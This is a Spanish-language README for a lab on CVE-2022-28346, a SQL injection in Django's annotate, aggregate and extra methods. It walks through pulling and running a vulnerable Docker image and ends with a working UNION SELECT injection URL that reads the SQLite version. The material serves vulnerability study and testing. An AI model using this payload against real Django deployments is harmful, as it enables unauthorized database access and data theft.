
Se encontró una falla en el paquete Django, que conduce a una inyección SQL. Esta falla permite que un atacante, utilizando un diccionario manipulado que contiene consultas SQL maliciosas, comprometa completamente la base de datos.
Se encontró una falla en el paquete Django que conduce a una inyección SQL. Esta falla permite a un atacante, mediante un diccionario manipulado que contiene consultas SQL maliciosas, comprometer completamente la base de datos.
Encontrará arriba, en el repositorio de código, el informe de análisis detallado (PDF) sobre CVE-2022-28346.
CVE-2022-28346 es una vulnerabilidad crítica identificada en varias versiones de Django, un popular framework web de Python. Esta vulnerabilidad afecta específicamente a las versiones de Django 2.2 anteriores a 2.2.28, 3.2 anteriores a 3.2.13 y 4.0 anteriores a 4.0.4.
El núcleo del problema radica en los métodos QuerySet.annotate(), aggregate() y extra() dentro de Django. Estos métodos son vulnerables a ataques de inyección SQL cuando se utilizan alias de columna junto con un diccionario manipulado (con expansión de diccionario) como el **kwargs pasado. La inyección SQL es un tipo de ataque que permite a un atacante interferir con las consultas que una aplicación realiza a su base de datos. Puede usarse para ver datos que normalmente no se pueden recuperar, incluidos datos de otros usuarios o cualquier otro dato al que la aplicación misma pueda acceder. En algunos casos, un atacante podría modificar o eliminar estos datos, afectando la integridad de los datos.
Para realizar una prueba exhaustiva de esta vulnerabilidad, asegúrese de tener suficiente espacio libre en su disco duro. Se requiere un mínimo de 1.2 GB para realizar con éxito la prueba de vulnerabilidad.
Si ya tiene Docker instalado, puede omitir esta sección y pasar directamente al siguiente conjunto de instrucciones.
Para comenzar a probar esta vulnerabilidad, instale Docker:
Verifique que Docker esté operativo antes de pasar a los siguientes pasos.
En su terminal, ejecute el siguiente comando para obtener la imagen de Docker que hemos creado y subido a DockerHub:
sudo docker pull marouanekamal/cve-2022-28346:latest

Y espere a que la imagen de Docker termine de descargarse. Si encuentra algún problema, puede deberse a su conexión a internet; asegúrese de tener una conexión estable y activa.
Después de que finalice la instalación, verifique que la imagen existe ejecutando el siguiente comando:
sudo docker images

Ahora puede ejecutar la imagen de Docker usando el siguiente comando:
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest

Ahora el servidor está en funcionamiento y podemos explotar este CVE ;)
Después de ejecutar la imagen de Docker, puede ingresar al siguiente enlace para verificar si la URL es accesible:
http://0.0.0.0:8000/

La palabra ok se muestra, lo que significa que la URL es accesible y todo funciona correctamente.
Ahora ataquemos esta vulnerabilidad mediante inyección SQL. Escriba la siguiente URL para hacerlo:
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

Pudimos determinar la versión de SQLite utilizada por el servidor ;)